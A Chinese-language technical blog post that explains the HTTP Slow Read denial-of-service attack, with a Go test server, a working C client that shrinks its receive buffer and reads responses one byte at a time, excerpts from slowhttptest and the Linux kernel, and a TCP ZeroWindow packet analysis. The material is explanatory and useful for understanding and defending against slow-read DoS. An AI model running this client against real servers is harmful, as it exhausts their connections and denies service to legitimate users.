Http Slow Read 慢速攻击原理与实现分析

268 阅读4分钟

简介

HTTP慢速攻击是利用HTTP合法机制,以极低的速度往服务器发送HTTP请求,尽量长时间保持连接,不释放,若是达到了Web Server对于并发连接数的上限,同时恶意占用的连接没有被释放,那么服务器端将无法接受新的请求,导致拒绝服务。

常见的HTTP 慢速攻击有如下三种:

  • Slow headers
  • Slow body
  • Slow read

这里主要介绍Slow read的原理和实现。

原理

Slow read(也称Slow Read attack):客户端与服务器建立连接并发送了一个HTTP请求,客户端发送完整的请求给服务器端,然后一直保持这个连接,以很低的速度读取Response,比如很长一段时间客户端不读取任何数据,想要使这种攻击效果明显,请求的资源要尽量大,让响应数据填满客户端的接收缓冲区,触发客户端发送Zero Window到服务器,让服务器误以为客户端很忙,直到连接快超时前才读取一个字节,以消耗服务器的连接和内存资源。

实现

服务端

package main

import (
        "fmt"
        "net/http"
        "strings"
)

func main() {
        http.HandleFunc("/", handleRequest)
        fmt.Println("服务器启动在 :80...")
        http.ListenAndServe(":80", nil)
}

func handleRequest(w http.ResponseWriter, r *http.Request) {
        // 生成响应数据很大,超过window size
        response := strings.Repeat("abc123456", 10000)

        w.Header().Set("Content-Type", "text/plain; charset=utf-8")
        w.WriteHeader(http.StatusOK)
        fmt.Fprint(w, response)
}

客户端

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int slow_read(const char *target, const char *http_data, int interval) {
    int sock;
    struct sockaddr_in server;
    struct sockaddr_in6 server6;
    int rcvbuf = 0;
    char buf[1];
    int is_ipv6 = 0;

    // Create socket
    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0) {
        printf("Failed to create socket\n");
        return -1;
    }

    // Set receive buffer size to 0, centos minimum is 2304
    if (setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)) < 0) {
        printf("Failed to set receive buffer\n");
        return -1;
    }

    // Parse target address and port
    char *target_copy = strdup(target);
    char *host = target_copy;
    char *port_str = NULL;
    int port = 80;

    // 处理IPv6地址,去掉包裹的[]
    if (host[0] == '[') {
        is_ipv6 = 1;
        host++; // 跳过开头的[
        port_str = strstr(host, "]:");
        if (port_str != NULL) {
            *port_str = '\0'; // 截断]
            port_str += 2; // 跳过]:
            port = atoi(port_str);
        } else {
            char *end_bracket = strchr(host, ']');
            if (end_bracket) *end_bracket = '\0'; // 去掉结尾的]
        }
    } else {
        // 查找并分离端口号
        port_str = strrchr(target_copy, ':');
        if (port_str != NULL) {
            *port_str = '\0';
            port_str++;
            port = atoi(port_str);
        }
    }

    if (is_ipv6) {
        // 关闭IPv4 socket,创建IPv6 socket
        close(sock);
        sock = socket(AF_INET6, SOCK_STREAM, 0);
        if (sock < 0) {
            printf("Failed to create IPv6 socket\n");
            free(target_copy);
            return -1;
        }

        // 设置IPv6地址
        memset(&server6, 0, sizeof(server6));
        server6.sin6_family = AF_INET6;
        server6.sin6_port = htons(port);
        if (inet_pton(AF_INET6, host, &server6.sin6_addr) <= 0) {
            printf("Invalid IPv6 address: %s\n", host);
            free(target_copy);
            return -1;
        }

        // 连接IPv6服务器
        if (connect(sock, (struct sockaddr*)&server6, sizeof(server6)) < 0) {
            printf("IPv6 connection failed\n");
            free(target_copy);
            return -1;
        }
    } else {
        // 设置IPv4地址
        memset(&server, 0, sizeof(server));
        server.sin_family = AF_INET;
        server.sin_port = htons(port);
        if (inet_pton(AF_INET, host, &server.sin_addr) <= 0) {
            printf("Invalid IPv4 address: %s\n", host);
            free(target_copy);
            return -1;
        }

        // 连接IPv4服务器
        if (connect(sock, (struct sockaddr*)&server, sizeof(server)) < 0) {
            printf("IPv4 connection failed\n");
            free(target_copy);
            return -1;
        }
    }

    free(target_copy);

    // Send HTTP request
    if (send(sock, http_data, strlen(http_data), 0) < 0) {
        printf("Failed to send data\n");
        return -1;
    }

    // 慢速读取响应
    while (read(sock, buf, 1) > 0) {
        sleep(interval);
    }

    close(sock);
    return 0;
}

分析

image.png

接收缓存区设置

  • 通过setsockopt函数,使用SO_RCVBUF标志对接收缓存区设置
int rcvbuf = 0;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)
  • slowhttptest也是同样的实现机制
bool SlowSocket::set_window_size(int wnd_size) {
  int actual_wnd_size = 0;
  socklen_t actual_wnd_size_len = sizeof(actual_wnd_size);
	bool ret = setsockopt(sockfd_, SOL_SOCKET, SO_RCVBUF, &wnd_size, sizeof(wnd_size));
  if(ret) {
    slowlog(LOG_ERROR, "error setting socket send buffer size to %d: %s\n", wnd_size, strerror(errno));
  } else {
    getsockopt(sockfd_, SOL_SOCKET, SO_RCVBUF, &actual_wnd_size, &actual_wnd_size_len);
    slowlog(LOG_DEBUG, "set socket %d receive buffer size to %d bytes(requested %d)\n", sockfd_, actual_wnd_size, wnd_size);
  }
  return ret; 
}
  • 虽然设置为0,但linux内核有最小限制,SOCK_MIN_RCVBUF测试centos为2304

image.png

/* Since sk_{r,w}mem_alloc sums skb->truesize, even a small frame might
 * need sizeof(sk_buff) + MTU + padding, unless net driver perform copybreak.
 * Note: for send buffers, TCP works better if we can build two skbs at
 * minimum.
 */
#define TCP_SKB_MIN_TRUESIZE	(2048 + SKB_DATA_ALIGN(sizeof(struct sk_buff)))

#define SOCK_MIN_SNDBUF		(TCP_SKB_MIN_TRUESIZE * 2)
#define SOCK_MIN_RCVBUF		 TCP_SKB_MIN_TRUESIZE

TCP ZeroWindow

  • 客户端设置接收缓冲区大小为最小值

  • tcp三次握手,此时可以从报文中看出Win为1152

    • SYN报文中的Window字段为1152
    • SYN报文中Options中Window Scale为0,即乘1
  • 客户端发送http请求

  • 服务端第一个响应包返回576字节响应数据

  • 服务端第二个响应包返回576字节响应数据

  • 客户端因未读取,接收缓冲区已满,触发TCP ZeroWindow通告报文(Window字段为0)

  • 服务端响应keep alive进行连接保活

  • 实现了连接保持的效果

Go实现问题

conn, err := net.DialTimeout("tcp", slowTarget, time.Second)
if err != nil {
	fmt.Println("connecting to tcp target:", slowTarget, "failed,err:", err)
	return
}

if err := conn.(*net.TCPConn).SetReadBuffer(0); err != nil {
	fmt.Println("set read buffer failed:", err)
	return
}
  • 只能在tcp连接建立后再设置接收缓冲区
  • 但此时客户端和服务端已经协商了Window
  • 此时设置接收缓冲区只是让客户端不响应ACK
  • 服务端因没有收到客户端ACK而进行重传

image.png

参考